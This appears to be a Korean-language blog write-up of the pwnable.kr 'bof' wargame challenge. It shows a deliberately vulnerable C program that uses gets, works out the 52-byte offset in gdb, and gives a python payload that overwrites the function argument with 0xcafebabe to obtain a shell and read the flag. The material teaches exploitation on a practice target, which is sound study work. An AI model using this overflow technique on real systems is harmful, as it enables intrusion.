본문 바로가기
STUDY/pwnable.kr

[pwnable.kr] bof

by CH@3M 2019. 11. 11.

pwable.kr 도장깨기 다시 시작 ㅎㅎ

이번에 볼 문제는 bof이다. 기초적이지만 중요한 bof (buffer overflow)!!

바이너리의 소스코드를 보면 다음과 같다. 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

main 함수에서 0xdeadbeef를 인자로 하여 func 함수를 호출한다. func 함수에서 overflowme buffer가 32bytes로 설정되어 있으나, gets 함수로 길이의 제한없이 입력 값을 받아서 overflow가 발생한다. 중간에 if문을 보면 0xcafebabe 문자열과 비교하는 곳이 있는데, 이곳에 breakpoint를 걸어서 gdb로 보도록 하자.

"a"를 많이 입력해주소 buffer를 보면 다음과 같이 0x61로 채워진 것을 알 수 있다. 뒤에 보면 0xdeadbeef도 보인다. 0xdeadbeef의 앞에까지 buffer를 채워, 0xdeadbeef를 0xcafebabe로 덮어주면 문제를 해결할 수 있다.

buffer의 크기는 다음과 같이 python으로 계산해도 되고, 위에서 <func+29> 부분을 보면 0x2c만큼의 buffer를 할당한 것을 알 수 있다. 이걸 10진수로 바꾸면 크기가 52임을 알 수 있다.

따라서 52개의 데이타를 채워주고 \xbe\ba\xfe\xca 로 덮어주면 system("/bin/sh"); 쉘을 획득할 수 있게된다.

root@ubuntu:/home/ubuntu/study/pwnkr/bof# (python -c 'print "A"*52 + "\xbe\xba\
id
uid=1008(bof) gid=1008(bof) groups=1008(bof)
cat flag
daddy, I just pwned a buFFer :)

끝!

반응형

'STUDY > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] random  (0) 2020.02.07
[pwnable.kr] passcode  (0) 2019.11.27
[pwnable.kr] flag  (0) 2019.11.11
[pwnable.kr] unlink  (0) 2019.10.07